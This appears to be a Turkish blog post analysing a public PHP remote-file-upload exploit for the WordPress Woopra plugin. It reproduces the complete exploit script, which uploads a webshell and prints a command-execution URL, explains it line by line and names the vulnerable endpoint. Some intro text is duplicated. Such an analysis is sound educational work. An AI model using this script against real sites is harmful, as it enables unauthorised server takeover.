Exploit Analizi
Zamanında yabancı bir forum için yazdığım bir yazıyı arkadaşım Türkçe'ye çevirip yayımlamıştı. Faydalı bir yazı olduğunu düşündüğümden burada da paylaşmak istiyorum.
Bugün sizinle bir exploitin işleyişini anlamak ve kullandığı güvenlik açığı hakkında daha fazla bilgi edinmek amacıyla exploit analizi yapacağız.
Exploit analizi yapabilmek en az exploit geliştirmek kadar önemli bir konudur. Bazen exploit geliştiricileri zafiyet hakkında yeterli bilgi vermeyebilir veya siz zafiyet hakkında daha fazlasını bilmek isteyebilirsiniz. Exploit analizi yapabilmek, bu durumlarda yararlı olacaktır. Ayrıca exploitlerin genel anlamda nasıl çalıştığını anlamanıza da katkı sağlayacaktır.
Exploit geliştirmede kullanılan en yaygın dillerden bazıları: Python, Perl, Ruby, PHP, C
Bu dillerden en az birini bilmekte fayda var.
WordPress’i ele geçirmek için PHP dilinde yazılmış basit bir RFU(uzaktan dosya yükleme) exploit’ini inceleyeceğiz.
Hadi başlayalım.
Analiz edeceğimiz exploit: http://1337day.com/exploit/21347
Kodun yorumlardan arındırılmış versiyonu;
İncelemeye başlayalım.
Bugün sizinle bir exploitin işleyişini anlamak ve kullandığı güvenlik açığı hakkında daha fazla bilgi edinmek amacıyla exploit analizi yapacağız.
Exploit analizi yapabilmek en az exploit geliştirmek kadar önemli bir konudur. Bazen exploit geliştiricileri zafiyet hakkında yeterli bilgi vermeyebilir veya siz zafiyet hakkında daha fazlasını bilmek isteyebilirsiniz. Exploit analizi yapabilmek, bu durumlarda yararlı olacaktır. Ayrıca exploitlerin genel anlamda nasıl çalıştığını anlamanıza da katkı sağlayacaktır.
Exploit geliştirmede kullanılan en yaygın dillerden bazıları: Python, Perl, Ruby, PHP, C
Bu dillerden en az birini bilmekte fayda var.
WordPress’i ele geçirmek için PHP dilinde yazılmış basit bir RFU(uzaktan dosya yükleme) exploit’ini inceleyeceğiz.
Hadi başlayalım.
Analiz edeceğimiz exploit: http://1337day.com/exploit/21347
Kodun yorumlardan arındırılmış versiyonu;
<?phpExploitin nasıl çalıştığı hakkında neredeyse hiç bir bilgi yok. Yani bunu biz anlamalıyız.
$options = getopt('u:f:');
if(!isset($options['u'], $options['f'])) die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");
$url = $options['u'];
$file = $options['f'];
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = "";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 'Content-Type: text/plain');
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) {
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n{$shell}?cmd=system('id');\n";
} else {
die(" [+] Exploit was unsuccessful.\n");
}
?>
İncelemeye başlayalım.
$options = getopt('u:f:');getopt () fonksiyonu, komut satırından girilen argümanların değerlerini saklar. Yani bu kod satırı, girilen dizideki ‘-u’ ve ‘-f’ değerlerini saklayacaktır.
if(!isset($options['u'], $options['f']))$options[‘u’] ve $options[‘f’] parametrelerinin boş olup olmadığını kontrol eder. Eğer boşsa, kullanıcıya nasıl kullanması gerektiği hakkında bilgi içeren bir mesaj gösterir.
die("\nUsage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");
$url = $options['u']; $file = $options['f'];Şayet bu değerler boş değilse onları $url ve $file değişkenlerinde saklayacaktır.
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
$shell değişkeni, shellin yükleneceği url'yi saklar. $url değişkeni ise
zafiyet bulunan sayfayı. Zafiyetin bulunduğu url'ye
bakarak, zafiyetin Uzaktan Dosya Yükleme açığı olduğu şeklinde tahmin yürütebiliriz.
$data = "";
Bu değişken gönderilecek POST verisini saklayacak. Bizim durumumuzda bu POST verisi sunucuya yükleyeceğimiz shell'i içerecek.
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
Bu kodlar sunucuya göndereceğimiz başlık bilgilerini içerir.
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
cURL, web protokolleri arasında
bağlantılar yapıp ve veri alışverişi sağlayabileceğiniz bir kütüphanedir. İlk satırda HTTP kolu($handle) oluşturulur. Bundan sonraki
dört satırda ise curl_setopt() parametrelerini kullanarak istek
oluşturulur ve gönderilecek veri onaylanır. İstek, curl_exec()
fonksiyonuyla gönderilir ve alınan veri(genelde HTML dosyası olur)
$source değişkeninde saklanır. Ve bağlantı curl_close() fonksiyonuyla
ile kapatılır.
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) {
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n{$shell}?cmd=system('id');\n";
} else {
die(" [+] Exploit was unsuccessful.\n");
}
Bu kod parçacığı HTML yanıtında ‘Undefined variable: HTTP_RAW_POST_DATA’ ifadesini arayacaktır - ki tahminimce bu istismarın başarısız olması durumunda sayfa tarafından döndürülen bir hatadır - eğer bulursa başarısız
olmuştur. Ama şayet HTML yanıtında bu ifade yoksa ve yüklediğimiz shell dosyasına erişilebiliyorsa,
exploit işlemi başarılı olmuştur.
Kodu inceleyerek exploit ve zafiyet hakkında edinilen bilgiler:
- /wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php Sayfasında RFU açığı bulunmaktadır.
- Yüklemek istediğimiz dosyanın adı ‘name’ parametresi altında GET metodu ile gönderilir.
- Dosyanın kaynak kodu ise POST yöntemi (ham post verileri) ile gönderilir.
- Yüklenen shell burada yer alır: /wp-content/plugins/Woopra/inc/tmp-upload-images/{dosyaadı}
Exploit'in analiziyle zafiyet hakkında edinilen bilgiler dikkate alındığında bu konunun önemi bir kez daha ortaya çıkmaktadır.
Sonraki yazıda görüşmek üzere..
Yazan: Robin Dimyanoğlu
Çeviren: Yaşar CELEP
Revision2
Yorumlar
Yorum Gönder